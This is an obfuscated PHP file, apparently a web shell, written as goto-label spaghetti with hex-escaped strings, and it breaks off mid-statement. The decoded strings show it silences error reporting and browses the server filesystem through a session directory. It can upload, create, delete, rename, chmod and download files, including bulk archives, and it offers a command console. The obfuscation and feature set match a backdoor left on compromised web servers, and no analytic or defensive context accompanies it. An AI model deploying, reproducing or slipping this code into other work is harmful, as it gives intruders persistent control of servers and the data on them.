goto FNnQA; bJ_lk: k4_D4: goto Qj1dG; OCCa5: wAs0f: goto N8JTh; VL_lE: qCP4e: goto kIbw7; nAzP_: Cufvo: goto nxMS7; A1bBl: $qjc0Q = 0; goto HstTh; Iwszv: goto rF2gT; goto in2tc; UEj_a: goto kiNra; goto xsznN; syZ0O: $QGkWO = rtrim($H_eTv, "\57\x5c") . DIRECTORY_SEPARATOR . $zEfFD; goto byaRZ; viG2s: @error_reporting(0); goto PxHSE; TH7Hm: $HfFpu = 0; goto lL3Lk; q7aZU: echo htmlentities(v4Vi6()); goto uEDvU; F25vn: goto GsPHe; goto wq824; bRGnN: goto u_OY8; goto wLpnA; kSvY3: goto SGmvx; goto KsT2f; sv8kU: foreach ($rMx30 as $zjHJ0 => $tkdUJ) { goto umKka; L62ok: $_POST[$tkdUJ] = $_POST[$zjHJ0]; goto HmNvC; bVL5q: aBPRx: goto qvJhm; U417l: goto a0SmG; goto bVL5q; qvJhm: goto gGBLL; goto FzXz2; erON2: NC92E: goto QYFp0; Dty3C: e7aib: goto hEuVD; hN6g4: tFpSx: goto SoQIl; lEBtO: o6K9G: goto RDqN3; hEuVD: cVqpt: goto tuTVD; HmNvC: goto tFpSx; goto hN6g4; ekFUe: Ie9np: goto lEBtO; umKka: goto NC92E; goto Dty3C; tuTVD: goto Ie9np; goto erON2; FzXz2: gGBLL: goto L62ok; SoQIl: a0SmG: goto Tw3qn; QYFp0: if (isset($_POST[$zjHJ0]) && !isset($_POST[$tkdUJ])) { goto aBPRx; } goto U417l; Tw3qn: goto e7aib; goto ekFUe; RDqN3: } goto zHwsj; BTMxG: y7BnF: goto F2dcz; AC1Vf: YgvbD: goto F49JT; DcyPp: LlIAZ: goto ETIv0; FesO6: goto EsrA8; goto c7YgC; sUCBi: Iczkf: goto p0y2a; GWQGE: @ob_end_clean(); goto cnGHb; N2m5g: jCddY: goto vm27R; sVZcC: goto xXuF2; goto FxhRo; d6ZY6: cPZRY: goto gkg8d; NxUVP: goto U4wIV; goto KNdQa; d3d_R: ysKgU: goto ewghc; bIuT1: cbh3r: goto xzk0n; Ccksr: U4wIV: goto cCyvv; hnJJn: aVAnU: goto NvcX7; wEfrG: $_SESSION = array(); goto htg8_; aDyVR: goto hEhr1; goto tTll0; uPkCB: goto jzLBG; goto tIiDO; M3Jo0: $rlZEq = @move_uploaded_file($_FILES["\x75\x70\x6c\x6f\141\x64"]["\x74\155\x70\x5f\x6e\x61\x6d\145"], $QGkWO); goto xnw03; P_uJT: RuJxJ: goto WS04G; xzk0n: eZvP3: goto RSBN6; kHC_z: goto fxCKn; goto RLFFF; AA1W5: goto VsLXR; goto wUtCn; iyJTM: goto QpF_1; goto n0fxX; bEK6m: goto g3O3A; goto DuLIU; roEiA: goto gk69h; goto TgYYF; m2WFy: goto f5Nyb; goto QZ1p9; Q7SK1: $et0TV = $_SESSION["\x63\x75\x72\x72\145\156\164\x5f\x64\x69\162"]; goto KAiwk; XFXK4: goto EFE3d; goto wVMzp; q3_oe: goto zF7q4; goto KrpmJ; ADkLB: goto H_7_G; goto xkaN5; l7Jrj: $z1JY9 = ''; goto sC2EZ; xJE2O: JEv4Y: goto AuJvB; ktKH4: iTdxn: goto O2H4J; MuBH1: goto N2NS5; goto U9HOi; WTNAx: echo "\x3c\x2f\x74\145\x78\164\x61\x72\x65\x61\x3e\12\40\x20\40\40\x20\x20\x20\x20\x3c\57\x64\x69\x76\76\12\x20\x20\40\40\x3c\x2f\x64\x69\x76\76\xa\x20\40\40\40"; goto sBxSt; JZz8l: $jsTcT = @filesize($Yvvjn); goto vOEj1; HaABS: if (isset($_POST["\155\x6b\137\146\157\154\x64\x65\x72"]) && trim($_POST["\x6d\x6b\x5f\146\x6f\x6c\144\x65\x72"]) !== '') { goto JotJm; } goto aY1G_; yP95K: zywpV: goto T5DDj; Q2qFQ: goto EIxrw; goto kQJ5z; Tgo0S: TalDr: goto NDcu0; I32Rh: goto g02qW; goto VfGx8; YJ9Yv: if (!@file_exists($Yy22r)) { goto DRVFb; } goto Y5pzq; L9MAW: goto wAdpw; goto KPkeo; lHHr2: goto SRzGG; goto wpSFZ; wmBwK: MOV5a: goto fX1CA; X7mjE: goto LyCWi; goto zZp20; RvSGg: goto pyROx; goto si0qL; mgLOf: lTDaM: goto rWMrZ; Fk_AR: V_Prr: goto E80Tc; Vl1Gq: goto iTdxn; goto p3xCs; Bcg_T: LPc3e: goto utJ6e; YxgPV: goto U6RUm; goto qZcJj; kvLCg: RGyzn: goto wCrtr; Upkeu: goto p1FeC; goto uetET; hYLRk: goto P0f1E; goto FPjp2; rLFZS: rwN2h: goto HCzak; uGm__: wIQFz: goto g0j3X; bX3hV: goto Wx9p_; goto InlHF; eHsN0: echo "\x20\x20\40\x20\x20\x20\40\x20\x3c\144\151\x76\x20\x63\154\x61\163\x73\x3d\42\141\x6c\145\x72\x74\40\x61\154\x65\162\x74\55\163\x75\x63\143\x65\163\163\x22\76\xa\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x3c\x73\x76\147\40\x76\x69\x65\x77\x42\157\x78\x3d\x22\60\x20\60\x20\62\x34\40\x32\x34\42\40\x66\151\154\x6c\75\42\156\157\x6e\145\42\40\x73\164\x72\157\x6b\145\75\42\x63\165\x72\x72\145\156\x74\103\157\x6c\157\x72\42\x20\163\x74\162\x6f\153\145\55\167\x69\144\164\150\x3d\x22\x32\42\76\x3c\160\141\164\x68\40\x64\x3d\42\115\62\x32\40\x31\x31\56\x30\x38\126\61\x32\141\x31\60\x20\61\60\40\x30\x20\x31\40\61\55\65\56\x39\63\55\x39\56\61\x34\42\x2f\x3e\x3c\x70\157\154\x79\154\151\156\x65\40\x70\157\151\x6e\x74\163\75\x22\62\62\40\64\x20\x31\x32\x20\x31\64\56\x30\61\40\71\x20\x31\x31\56\60\61\x22\57\x3e\x3c\x2f\x73\166\x67\x3e\12\x20\x20\40\x20\x20\x20\40\40\x20\40\40\40"; goto Qmptl; YE2C8: goto jDd1N; goto Os4SS; xnw03: goto MLGcn; goto qhF1E; XaCO7: RCZzW: goto IRFZb; jPlJy: goto qQhoV; goto hEm_Y; ZI3VJ: goto J8ftT; goto SzSlD; bHcdB: @mkdir($X_CY3, 0700, true); goto zow_p; tbIoP: goto W0KXz; goto aNONL; G54rw: goto UKbri; goto rdFjs; T5DDj: $Ha841 = "\104\x65\x6c\x65\164\145\40\146\x61\151\154\x65\x64\x3a\x20\111\156\166\141\154\x69\x64\40\x70\141\164\150"; goto Usxz1; CDZ3d: goto wLsfO; goto RtCkO; qHK1Q: goto cPZRY; goto w_5Of; gycs3: goto fiPaq; goto YTiW8; n6s7F: $X9VNQ = r06YE($_POST["\x6d\153\x5f\146\x69\x6c\145"]); goto vQp78; xNcqS: bIT7H: goto PhH8E; ay0R8: goto tnB9t; goto IYxDd; eHf9V: pNaRG: goto gPcxE; QjSWV: @chdir($_SESSION["\143\165\162\x72\145\x6e\164\x5f\144\151\162"]); goto mcE78; aTY10: goto Cufvo; goto w4Qp6; JWAzr: oPh32: goto UWSM6; tdGy5: qSSoQ: goto OF6UB; RbGt3: goto yRn66; goto dCVBa; xehQ9: b4kc1: goto EHcB2; dvITC: goto I0QQ1; goto NMDC7; bwPhm: if ($Ppot1 !== false) { goto tanzI; } goto RtdBe; cZxDE: goto n8hbz; goto SMDb0; neiEF: $YOkzX = array(UPLOAD_ERR_INI_SIZE => "\x46\151\x6c\x65\x20\x65\x78\x63\x65\x65\x64\x73\x20\165\x70\154\x6f\x61\x64\137\x6d\x61\170\137\146\151\x6c\145\163\151\172\145", UPLOAD_ERR_FORM_SIZE => "\106\x69\x6c\145\x20\145\170\143\145\x65\x64\163\40\115\x41\x58\x5f\x46\x49\114\105\137\123\111\132\105", UPLOAD_ERR_PARTIAL => "\106\151\x6c\145\x20\160\x61\162\x74\151\141\x6c\x6c\171\x20\x75\x70\x6c\157\x61\x64\x65\x64", UPLOAD_ERR_NO_TMP_DIR => "\115\151\x73\x73\x69\x6e\147\x20\164\145\x6d\x70\157\x72\x61\162\x79\40\x66\x6f\154\x64\145\x72", UPLOAD_ERR_CANT_WRITE => "\106\x61\151\154\x65\144\x20\164\157\40\167\162\x69\x74\x65\40\x66\x69\x6c\145\x20\x74\x6f\40\x64\151\x73\x6b", UPLOAD_ERR_EXTENSION => "\125\x70\154\157\x61\x64\40\163\x74\x6f\x70\x70\145\144\40\x62\x79\40\x65\x78\164\145\x6e\163\151\157\156"); goto p12O8; Q9y84: goto QxngS; goto i75lQ; HQv1o: goto Bl_J5; goto CK_EW; s1JPr: $Ha841 = "\x43\x61\x6e\156\157\164\x20\162\145\x61\x64\x20\144\151\162\x65\143\164\x6f\x72\x79\x3a\40" . $et0TV; goto bQ9mB; mot8a: VASQg: goto DfA2m; oU8kY: dDCFr: goto Dkiy8; muCGa: DG13i: goto L2ahG; u6wnq: QHclG: goto zq06m; YZxjD: $Ha841 = "\x43\162\x65\141\164\145\40\146\141\x69\154\x65\x64\x3a\40\x43\157\x75\x6c\x64\40\x6e\x6f\164\40\143\162\x65\x61\x74\x65\x20\x66\x69\154\145"; goto AyuQx; qZcJj: W2S2I: goto K5dgv; TIXEL: Kudez: goto ZGuqQ; iFwCV: kr2ms: goto bnMFG; trEYJ: goto Akn9Q; goto gb4G3; JaFVU: goto aaKfR; goto ySRj1; f2PIW: BkIWz: goto yjfrQ; hzAoO: $z1JY9 = "\120\145\x72\x6d\x69\x73\163\x69\157\156\163\x20\143\150\x61\156\x67\145\x64\x20\x73\165\x63\x63\x65\x73\163\x66\x75\x6c\x6c\x79"; goto bT3Vd; rAkFh: goto WWZUU; goto MAuLm; eVPp9: goto wskCa; goto s8iPp; eZsQU: R9x_A: goto qoi18; cnGHb: goto tDS5I; goto VJgeN; zAERq: Ss6G_: goto puDFd; vNR88: bUTwW: goto M0KPM; awA_u: goto C9d_b; goto vZYyA; HxcDn: uMUm0: goto sLiJ8; CWmkj: goto zYioU; goto Qnhe4; Slg4X: goto l1tmg; goto I3FoZ; OwheA: foreach ($_POST["\151\x74\x65\x6d\x73"] as $qGyu2) { goto hVufu; PF7ph: goto Z7K3K; goto YAXst; mD3me: goto Wkbq8; goto R9Mo1; K8RXD: goto jW4k1; goto RN3Sx; YLEcZ: if (!Gemdm($Yvvjn)) { goto evkPX; } goto M8nNy; cddMe: y7fyD: goto KoTYC; GGsNs: Wkbq8: goto Xq4xD; nKXRU: goto HYD6X; goto bs17u; CaitY: goto OZIDA; goto c82mx; pIGD6: if ($Yvvjn === false) { goto EJszN; } goto hiUdB; G_xSO: evkPX: goto uQ1jj; ApnnP: Z7K3K: goto DXT14; e_SjO: goto jYuYv; goto fWff8; AVwgd: hUX2e: goto mD3me; DXT14: goto JBxzf; goto wfCH5; R9Mo1: goto FjeEI; goto oAhR4; IolK3: iaqqg: goto XdKge; oAhR4: FjeEI: goto fnjFV; fnjFV: WG_D8: goto Kyplt; bs17u: OZIDA: goto YLEcZ; Xq4xD: goto N6nzG; goto JVeOJ; fWff8: JBxzf: goto IolK3; bSElN: $HfFpu++; goto K8RXD; YAXst: goto rxLnn; goto cddMe; gAW8F: N6nzG: goto ApnnP; JVeOJ: rxLnn: goto sCksV; T0_Qe: goto hUX2e; goto gAW8F; xvaPz: un_C1: goto beywg; sCksV: bGv11: goto CaitY; M8nNy: goto WG_D8; goto G_xSO; beywg: $Yvvjn = lCA48($_SESSION["\143\x75\162\x72\x65\156\x74\137\144\151\x72"] . DIRECTORY_SEPARATOR . $qGyu2); goto q88gZ; hiUdB: goto bGv11; goto VxyzH; iVWMa: W20OH: goto eI3fR; eI3fR: $HfFpu++; goto T0_Qe; wfCH5: n6mia: goto pIGD6; VxyzH: EJszN: goto e_SjO; q88gZ: goto n6mia; goto MCsrV; KoTYC: $qjc0Q++; goto nKXRU; c82mx: jW4k1: goto PF7ph; RN3Sx: HYD6X: goto GGsNs; MCsrV: jYuYv: goto bSElN; Kyplt: goto y7fyD; goto iVWMa; hVufu: goto un_C1; goto xvaPz; uQ1jj: goto W20OH; goto AVwgd; XdKge: } goto QCldM; WpOEm: goto QHclG; goto UgnJ9; eLC1a: b650E: goto ViAti; guSjI: goto bIT7H; goto bnbkz; yVnue: wsxC4: goto UUL_R; lz_vU: goto ciWpv; goto bA3iZ; ZFRfZ: goto WD_Jq; goto NAzVf; hGHLL: gYd6q: goto ZP2up; pCTYE: wah3B: goto PwG5V; bT3Vd: goto a839H; goto PA54M; YdtTh: goto NNBU1; goto mDuWD; aB_Tr: oLMTG: goto LZDK6; IDwAC: GV7DM: goto mAYC7; nCTzE: VvDJ5: goto syHOh; TxZZP: echo "\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\x3c\x64\x69\x76\x20\x63\x6c\141\163\163\75\x22\151\156\160\165\164\x2d\x67\162\157\165\160\x22\x3e\xa\40\40\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\40\x20\x20\x3c\151\156\160\x75\x74\40\164\x79\160\145\75\42\x66\151\x6c\x65\x22\40\x6e\141\155\x65\x3d\42\165\160\x6c\x6f\141\x64\x22\76\xa\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\40\40\40\40\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\74\x62\165\x74\x74\x6f\156\40\x63\x6c\x61\x73\163\75\42\142\164\156\x20\142\164\156\55\x70\x72\151\155\x61\x72\x79\x22\x20\164\x79\160\145\x3d\42\x73\165\142\x6d\151\164\x22\x3e\x55\160\154\157\x61\x64\x3c\57\142\165\x74\164\x6f\156\76\xa\40\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\40\40\40\40\40\x20\40\x3c\57\x64\151\166\76\xa\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x3c\x2f\x66\x6f\162\155\76\12\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\40\40\x20\x20\74\57\x64\151\x76\76\12\x20\40\x20\40\40\40\40\x20\40\40\40\x20\40\40\40\40\74\x64\151\x76\40\x69\144\x3d\42\141\x64\166\141\x6e\143\145\x64\55\160\141\156\x65\154\x22\x20\143\154\x61\163\x73\75\42\165\160\154\x6f\x61\x64\x2d\x70\141\x6e\x65\154\x22\76\xa\x20\x20\x20\x20\40\40\40\x20\x20\40\40\40\x20\40\40\x20\40\40\40\40\74\144\x69\x76\x20\x63\x6c\141\163\163\x3d\x22\151\x6e\x70\x75\x74\55\x67\x72\x6f\x75\160\x22\76\12\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\x20\40\74\x69\x6e\160\165\x74\x20\x74\171\160\x65\x3d\42\x66\151\x6c\x65\x22\x20\151\x64\75\42\x75\160\154\x6f\x61\144\137\x66\x69\x6c\145\163\x22\x20\x6e\x61\x6d\145\75\42\165\160\x6c\157\141\144\x5f\x61\x64\166\x22\40\x6d\165\154\164\x69\x70\154\x65\x3e\xa\x20\40\40\x20\x20\40\40\40\40\40\x20\40\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x3c\142\165\164\164\157\x6e\40\x63\x6c\x61\163\163\75\42\x62\x74\156\40\142\x74\156\55\x70\162\x69\x6d\141\162\x79\x22\40\157\x6e\143\x6c\151\143\153\x3d\42\165\160\154\x6f\x61\144\106\151\x6c\145\50\x29\x3b\40\162\x65\164\165\162\156\40\146\141\x6c\163\x65\x3b\x22\76\x55\160\x6c\x6f\x61\144\x3c\x2f\142\165\164\x74\x6f\x6e\76\12\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\40\x20\40\40\74\x2f\144\151\166\x3e\xa\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\40\40\40\40\40\40\40\74\x70\40\163\x74\171\x6c\145\x3d\42\155\x61\162\x67\151\x6e\55\x74\157\160\x3a\40\x38\x70\170\x3b\40\x66\x6f\156\164\x2d\163\x69\x7a\145\72\x20\61\62\160\x78\73\40\x63\157\x6c\x6f\x72\72\40\x76\141\x72\50\55\x2d\164\145\170\x74\x2d\155\x75\x74\x65\144\51\73\42\x3e\x53\x74\x61\x74\165\163\x3a\x20\x3c\x73\160\141\156\x20\151\144\75\42\x75\160\154\x6f\141\x64\x5f\x73\164\141\x74\x75\163\x22\76\116\x6f\x20\x66\151\154\x65\40\x73\x65\x6c\x65\143\x74\x65\x64\x3c\57\x73\x70\141\156\x3e\74\57\x70\x3e\12\40\x20\40\40\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x3c\57\144\151\166\x3e\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x3c\57\144\x69\166\x3e\12\x20\40\40\40\x20\x20\x20\40\x3c\57\x64\151\x76\x3e\xa\xa\40\x20\40\40\40\x20\40\x20\x3c\144\151\166\40\x63\x6c\x61\x73\x73\x3d\x22\143\141\x72\x64\42\x3e\xa\x20\40\40\x20\40\x20\40\40\40\x20\40\40\74\x64\x69\166\x20\143\x6c\x61\x73\163\x3d\42\x63\x61\x72\x64\55\150\145\141\144\145\162\42\76\xa\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x3c\163\x70\141\x6e\x20\143\x6c\141\x73\163\x3d\42\143\141\x72\144\55\x74\x69\164\x6c\x65\x22\x3e\xa\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\x3c\163\166\x67\40\x77\151\x64\x74\150\75\x22\x31\66\42\40\x68\x65\151\147\x68\x74\75\42\x31\x36\x22\40\x76\x69\145\167\x42\157\x78\x3d\42\x30\x20\x30\x20\62\x34\x20\x32\64\x22\x20\146\x69\x6c\x6c\75\42\156\x6f\x6e\x65\x22\x20\x73\x74\162\x6f\x6b\x65\x3d\42\143\165\162\162\145\x6e\x74\103\157\x6c\x6f\x72\42\40\163\164\162\157\x6b\145\55\x77\151\x64\164\x68\x3d\42\x32\42\76\74\x70\x61\x74\150\40\x64\75\x22\115\x31\x32\x20\65\x76\x31\x34\x4d\x35\40\x31\x32\150\61\x34\x22\57\x3e\x3c\x2f\163\x76\x67\76\12\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\103\x72\145\x61\x74\x65\40\116\145\x77\xa\x20\40\x20\x20\40\40\40\40\40\40\40\x20\40\40\x20\x20\74\57\163\x70\141\x6e\x3e\xa\x20\40\40\40\40\40\x20\40\x20\x20\x20\40\74\57\x64\x69\166\76\xa\40\40\40\x20\40\40\x20\x20\x20\x20\40\x20\74\x64\x69\x76\x20\x63\154\141\x73\163\75\x22\143\x61\162\x64\x2d\142\x6f\x64\171\42\76\12\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\x20\x20\40\74\x66\157\x72\155\x20\155\145\x74\150\157\144\75\42\x70\157\x73\164\42\40\143\154\141\x73\x73\75\42\x69\156\x70\x75\164\x2d\147\162\x6f\165\x70\42\x3e\12\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\40"; goto RJ96x; KORz8: goto RbBZN; goto Z7jfc; sxps2: goto f2gef; goto WuFqV; Ed0n4: goto Tt2lJ; goto wmAYh; wq824: EsASb: goto ZH75R; zKYse: goto pBwmN; goto k4ckh; Dd_9V: VOcY7: goto ybNIy; vW0bj: JU3a6: goto cMcEK; du5sI: g02qW: goto K3yK2; fqtYS: @session_start(); goto Ufq0U; kxjWL: goto sfUtQ; goto MRYqn; bPsZn: $Ha841 = "\x42\165\x6c\153\40\144\157\x77\156\154\157\x61\144\40\x66\141\151\x6c\x65\x64\x3a\40\x61\162\x63\x68\x69\166\x65\x20\x74\x6f\x6f\154\163\40\165\x6e\141\x76\141\151\154\141\142\154\145\x20\157\x6e\x20\164\x68\x69\x73\x20\x73\145\x72\166\145\x72"; goto QrQa7; Uci7h: @flush(); goto YFHLN; sJhu8: goto HauHF; goto LT6yZ; EHcB2: $Ha841 = "\x44\x65\x6c\145\x74\145\x20\x66\141\151\x6c\145\144\x3a\x20\x50\141\x74\x68\x20\x6e\157\164\40\146\x6f\165\156\x64"; goto lrstT; KK0Pu: SmyUm: goto a7LU3; Ku3ck: echo "\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\74\x2f\x74\x62\157\x64\171\x3e\12\x20\40\x20\x20\40\40\40\x20\x3c\x2f\164\141\142\154\145\x3e\xa\x20\40\40\x20\x3c\x2f\x64\151\x76\76\12\12\x3c\41\x2d\55\40\x43\x68\x6d\157\x64\40\115\x6f\x64\141\x6c\x20\x2d\55\76\xa\74\144\151\166\x20\151\x64\x3d\42\143\x68\x6d\x6f\144\115\x6f\144\141\154\42\x20\143\154\141\163\163\75\42\155\157\144\x61\154\x22\x3e\12\40\40\40\x20\x3c\x64\x69\166\40\x63\154\141\163\163\x3d\x22\x6d\x6f\144\x61\x6c\x2d\143\157\156\164\145\156\164\x22\x3e\xa\x20\40\x20\40\x20\40\40\40\74\144\x69\x76\40\x63\154\x61\x73\163\x3d\x22\155\x6f\x64\x61\x6c\x2d\x68\x65\141\x64\x65\x72\42\76\xa\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\74\x73\160\141\156\40\x63\x6c\x61\x73\163\75\42\x6d\x6f\144\x61\x6c\x2d\164\x69\164\x6c\145\42\x3e\103\x68\x61\x6e\147\x65\x20\x50\145\162\x6d\x69\x73\163\x69\x6f\x6e\163\x3c\x2f\163\x70\x61\156\x3e\12\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\74\x73\x70\141\156\x20\143\x6c\141\x73\163\x3d\42\x6d\x6f\144\x61\154\x2d\x63\154\x6f\163\145\42\x20\157\x6e\143\x6c\151\143\153\75\42\x63\x6c\x6f\x73\145\103\x68\155\157\144\x4d\x6f\144\x61\x6c\50\x29\x22\76\46\x74\151\155\145\163\73\74\57\163\x70\141\x6e\x3e\12\x20\x20\40\40\40\40\x20\x20\74\x2f\x64\151\x76\76\xa\x20\40\40\40\40\x20\40\x20\74\x66\157\162\x6d\x20\155\145\x74\150\157\144\75\x22\x70\x6f\163\x74\x22\x3e\xa\40\x20\x20\x20\x20\x20\40\40\x20\40\40\40"; goto YxgPV; Umtkn: lKYTH: goto xrrRf; unnQr: header("\x43\x6f\156\164\x65\156\x74\x2d\124\171\160\x65\72\x20" . $Qg52d); goto qX_Ot; J6TGK: $zEfFD = basename($_GET["\x6e\x61\x6d\145"]); goto dHywO; gId5t: echo dKzCy(); goto hvTfI; Op0Sf: V4b3q: goto z7T5m; RpqVI: c4yPt: goto GZjRu; QhACF: goto Uoosr; goto koi2S; M0KPM: if (!@chmod($Yvvjn, octdec($_POST["\160\145\x72\155\x5f\166\x61\x6c"]))) { goto TQeVm; } goto AYLcf; JZheu: CLw7N: goto A7xiZ; UzE0e: function LcA48($ToQ90) { goto YGaW8; MBoiK: goto Fb9Hc; goto rHEPp; rpieo: goto XApRl; goto uEd1H; xNXam: XApRl: goto mJJgU; VUhkc: goto t3Nze; goto LyQ68; mJJgU: return false; goto CqbWb; ltu0O: if ($GVd0p && (@is_file($GVd0p) || @is_dir($GVd0p))) { goto tk6aH; } goto VUhkc; n_3AT: C6wY7: goto NRg9N; NRg9N: return $GVd0p; goto xkaT0; GRCXo: O24uI: goto Dpurs; LyQ68: tk6aH: goto RsM5L; GDr7a: if (empty($ToQ90)) { goto Wy1zX; } goto yaOaI; YGaW8: goto AWSsx; goto v54Sm; wWa_G: goto Mkqr1; goto n_3AT; hf6cf: vAcfm: goto ltu0O; ImTCA: hptTT: goto ZdPJl; Rbb3m: B8jzm: goto ImTCA; xkaT0: goto WtAxg; goto Rbb3m; CqbWb: goto B8jzm; goto NBDIB; ZdPJl: goto O24uI; goto hf6cf; PveAY: return false; goto MBoiK; RsM5L: goto C6wY7; goto GRCXo; qGh_G: goto vAcfm; goto xNXam; vEJGI: t3Nze: goto wWa_G; Dpurs: $GVd0p = Q3Fzn($ToQ90); goto qGh_G; uEd1H: WtAxg: goto vEJGI; v54Sm: AWSsx: goto GDr7a; MHF1l: Wy1zX: goto rpieo; rHEPp: Fb9Hc: goto mIUbx; yaOaI: goto hptTT; goto MHF1l; NBDIB: Mkqr1: goto PveAY; mIUbx: } goto TUfF2; W2QWS: nfnMN: goto J73Il; pOsiZ: VrTaj: goto HC8lh; eulH_: $fHI6p = fread($WAN6O, 8192); goto NlWdu; UuSw3: goto o4PCX; goto wAGjq; KY7M_: RjKg6: goto YSTUT; UgnJ9: RJC56: goto GQlih; KPkeo: m_7n3: goto M3Jo0; z5jdN: goto AIT81; goto ys8Tc; nlBi_: g3O3A: goto GWQGE; Quq0Y: $uBM29 = false; goto FmbAs; zOQmy: goto KqmS0; goto LSG2R; zD6Cu: echo htmlentities($et0TV); goto yAENr; WciDX: St2nA: goto nUc9a; eCJA5: $ca5LZ = isset($_POST["\x72\145\x6e\141\x6d\145\x5f\x69\164\x65\155"]) ? $_POST["\x72\145\x6e\141\155\145\137\x69\164\x65\155"] : null; goto nOoMb; t2y3p: goto DG13i; goto Umtkn; V1MCJ: MnMj6: goto pCTYE; cvRNx: goto tXTTA; goto s6FTp; El_M3: @readfile($Yvvjn); goto DkXDy; NgXKh: UA3hs: goto We7G9; tV1Q1: if (!@rename($a_Vf4, $BIRKS)) { goto UwWLD; } goto MgSH0; hsNii: rz8Dx: goto O_cyy; wmAYh: kYtXr: goto qMrG1; mV94E: goto RPgAE; goto VL_lE; KJNxL: echo "\40\40\40\40\x3c\x64\x69\x76\40\143\x6c\141\x73\x73\x3d\42\143\141\162\144\x22\40\163\x74\x79\154\x65\x3d\42\155\x61\162\x67\x69\156\55\142\157\164\x74\x6f\155\72\40\62\60\x70\x78\x3b\x22\76\12\x20\40\x20\x20\x20\x20\x20\x20\74\144\151\166\40\x63\x6c\141\x73\163\75\x22\143\141\x72\144\55\x68\145\x61\144\x65\162\x22\x3e\xa\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\x3c\163\x70\141\x6e\40\x63\x6c\141\163\x73\x3d\42\143\x61\162\x64\55\164\151\x74\154\x65\x22\76\xa\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\x3c\x73\x76\x67\x20\167\151\x64\x74\x68\x3d\x22\61\66\42\40\150\145\x69\147\150\x74\x3d\42\x31\x36\42\x20\166\x69\145\167\x42\x6f\x78\75\x22\x30\x20\60\x20\62\x34\x20\x32\x34\42\40\146\x69\x6c\x6c\x3d\x22\156\157\156\145\42\40\163\164\x72\x6f\x6b\145\75\42\143\x75\x72\x72\x65\156\164\103\x6f\154\157\162\42\40\x73\x74\x72\157\x6b\x65\55\167\151\144\164\150\x3d\42\62\x22\x3e\x3c\160\141\x74\150\40\x64\x3d\42\x4d\x31\61\40\64\x48\x34\141\62\40\62\40\x30\x20\60\x20\x30\55\x32\40\x32\x76\x31\x34\141\x32\x20\x32\x20\60\x20\x30\x20\x30\40\x32\40\x32\150\61\64\141\62\40\62\40\x30\x20\x30\40\60\x20\x32\x2d\x32\166\x2d\67\42\57\x3e\x3c\160\141\164\150\x20\x64\75\x22\115\61\x38\56\x35\40\62\x2e\x35\x61\62\x2e\x31\62\61\40\x32\x2e\x31\x32\61\x20\x30\40\60\40\61\40\x33\x20\x33\x4c\61\62\x20\x31\65\x6c\55\64\40\x31\40\61\55\x34\x20\71\x2e\65\55\x39\56\x35\172\42\x2f\76\x3c\57\163\x76\147\x3e\12\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x45\144\x69\x74\x69\156\x67\72\40"; goto bTJ08; K7mEx: goto O1pCG; goto Ccksr; eS270: goto cbh3r; goto duPeO; cCedI: $jgs22 = $_FILES["\165\x70\154\157\141\144"]["\145\162\162\x6f\x72"]; goto TNZkQ; aI1v6: vT0I7: goto Q9y84; YRQBn: goto ejeY8; goto pB5os; ulqcN: goto WisQs; goto KO8EM; Ndv5S: aOolM: goto YERrk; MX57Z: goto MOV5a; goto upOMq; PE1n3: goto Xi3lb; goto hSNy_; UUL_R: echo htmlentities($Kn7cQ); goto DfSPs; cj5AF: goto rpgrg; goto t8uMo; FQGlH: goto SEU09; goto m5UYj; EZZGi: GGbyG: goto li_NC; eX2XT: $XqpLW = @scandir($et0TV); goto WpOEm; FTQ8O: KqmS0: goto MgKBb; YUr3X: Bv9PW: goto hjYtj; hcrBW: if (isset($_POST["\x61\x63\x74\x5f\144\x6c"]) && isset($_POST["\151\x74\145\x6d\x73"]) && is_array($_POST["\x69\164\x65\x6d\x73"])) { goto uxm9E; } goto rkshZ; XU9zy: goto qu73u; goto VCZr3; tuJps: goto xZioy; goto nCOiW; nUc9a: $Ha841 = "\x43\157\156\x73\157\154\145\x3a\x20\116\157\40\157\x75\x74\160\x75\x74\x20\x6f\x72\40\146\165\x6e\x63\164\x69\x6f\x6e\x20\x64\151\163\141\142\154\145\144"; goto IFpoX; bnbkz: Flp0U: goto HaABS; jUj8K: $Ppot1 = Yc2fB($DdREV, $_SESSION["\x63\165\162\162\145\156\x74\137\x64\151\162"], "\163\x65\x6c\145\x63\x74\x65\x64\137\146\x69\154\x65\163"); goto ffGfv; lWpVi: goto nfnMN; goto jylcT; wENFU: goto AtEBr; goto CNJyn; WLv3F: Kt6uQ: goto p1d_R; em94C: goto Vm9lK; goto ktKH4; WazVQ: goto lCw25; goto I5MOT; BslxK: kC3kB: goto vEocR; qlMR3: goto k4_D4; goto IXHqR; fn_mI: goto uGc8W; goto GdFmP; JLf76: xaOu9: goto Bu7US; kP0JN: if 